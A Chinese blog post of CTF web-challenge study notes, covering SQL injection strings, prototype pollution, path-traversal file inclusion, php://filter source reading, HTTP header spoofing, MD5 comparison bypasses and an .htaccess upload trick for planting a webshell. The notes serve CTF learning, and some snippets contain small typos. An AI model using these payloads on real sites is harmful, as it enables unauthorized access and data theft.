题型解析

一、

1、输入用户名和密码:①弱口令②万能密码:1‘ or 1=1 #

2、JavaScript原型链感染

正常进入什么都没有,需要你admin的身份进入,则可以以管理员身份注册账号并抓包,例如{"username":"1","password":"1","isAdmin":true,"inviteCode":"111111"},改为

{"username":"1",
"password":"1",
"_proto_":{
"isAdmin":true
}
}

以此账号重新登录。

二、打开什么也没有:

1、打开什么都没有,查看源代码,若源代码中有if($cat=='dog'){echo 'Syc{cat_cat_cat_cat}';字样,在网址中输入/?cat=dog,获取flag。

⭐2、打开只有一张图片,查看源代码,若源代码中有<!--source.php-->字样,可以在网址中输入/source.php查看,打开有$whitelist = ["source"=>"source.php","hint"=>"hint.php"];的字样,可以在原来的网址后面输入/hint.php,打开发现没有flag,只有flag not here, and flag in ffffllllaaaagggg,则再查看source.php的源代码,发现有

if (! empty($_REQUEST['file'])

&& is_string($_REQUEST['file'])
        
&& emmm::checkFile($_REQUEST['file'])
  
  ) {
       
 include $_REQUEST['file'];
        
exit;

的字样,所以在原网址输入/?file=source.php? ../../../../../../../../../ffffllllaaaagggg,出现源代码。

3、打开有“Try to find out source file!”的字样所以在网址后面输index.php然后发现页面不变,之后在index.php后面加备份后缀名,eg.  .git  .svn .swp .~  .bak   .bash_history   ,出现源代码,

<?php
include_once "flag.php";

if(isset($_GET['key'])) {           //给key传参
$key = $_GET['key'];
if(!is_numeric($key)) {
exit("Just num!");
}
$key = intval($key);
$str = "123ffwsfwefwf24r2f32ir23jrw923rskfjwtsw54w3";
if($key == $str) {
echo $flag;
}
}
else {
echo "Try to find out source file!";
}

所以应该给key传字符串,然后在原来网址后面加?key=123,出现flag。

3、什么都没有,只有tips,点击发现什么都没有,用payload格式构造,php://filter/read=convert.base64-encode/resource=xxx.php,其中php://filter是php协议,可以执行任意文件的读取;resource=<要过滤的数据流>指定要筛选过滤的数据流;read=<读链的筛选列表>;write=<写链的筛选列表>,read=convert.base64-encode用base-64编程输出,出现flag。

4、查看源代码,找带有php的文件,发现pay.php和带有post的password,所以在原网址后面加pay.php,出现flag的要求,所以抓包,发现是get型,所以按右键的change request method转换为post,而flag的要求是 Flag need your 100000000 money。Only Cuit's students can buy the FLAG,$password == 404,说明password必须带有404,但不能都是数字

所以将user=0换成1,然后加password=404a&money=10e10;

三、

1、SQL注入:在对话框中输入正常的sql注入语句,若弹出select/update……被屏蔽,则输入形如1’;show databases(tables/columns from …); #  的字样,找到flag表,之后试试输入1;select* from 表名,或*或1,* 或*,1 若找不到flag,则试试-1‘;Set @sql=CONCAT('se','lect *from  表名;');PRepare stmt from @sql;EXECUTE stmt;#   若找不到flag,则放弃。

四、HTTP

1、打开网址发现什么都没有,查看源代码,找到带有php的文件,复制链接粘贴访问,发现什么都没有,抓包,出现“It doesn't come from 'https://Sycsecret.buuoj.cn' ”的字样,在Request中添加Referer:https://Sycsecret.buuoj.cn,(其中Referer是HTTP请求头Header的一部分),然后点Go,出现"Please use "Syclover" browser"的字样,之后将User-Agent改为Syclover,(User-Agent表示浏览器的身份标识字符串),之后出现“No!!! you can only read this locally!!!”发现需要本地登录,所以添加“X-Forwarded-For:127.0.0.1"出现flag。

五、MD5

1、打开有一个对话框,但输入SQL注入语句没有反应,而源代码也什么都没有,所以抓包,发现输入的值被MD5编码了,所以将编码的改为ffifdyop输入,而出现其他网页,查看源代码,发现形如

<!--
$a = $GET['a'];
$b = $_GET['b'];

if($a != $b && md5($a) == md5($b)){
    // wow, glzjin wants a girl friend.
-->

 的源代码,所以将原网址后面加?a[]=6&b[]=3,出现形如if($_POST['param1']!==$_POST['param2']&&md5($_POST['param1'])===md5($_POST['param2'])){
    echo $flag;
}

的语句,找Hackbar,在Post data框里写param1[]=6&param2[]=3;出现flag。

六、文件上传绕过

如果上传了文件,用了很多方法都连不上菜刀,但上传图片或其他文件返回上传路径,则先上传成功木马文件,后上传.htaccess文件,文件里面有

<FilesMatch "1.png">
SetHandler application /x-httpd-php
</FilesMatch>

其中1.png是上传成功的文件,之后用菜刀连接,网址为"原网址/update/.htaccess文件上传成功路径。

 

posted @ 2024-03-05 21:23  小梨漫  阅读(82)  评论(2)    收藏  举报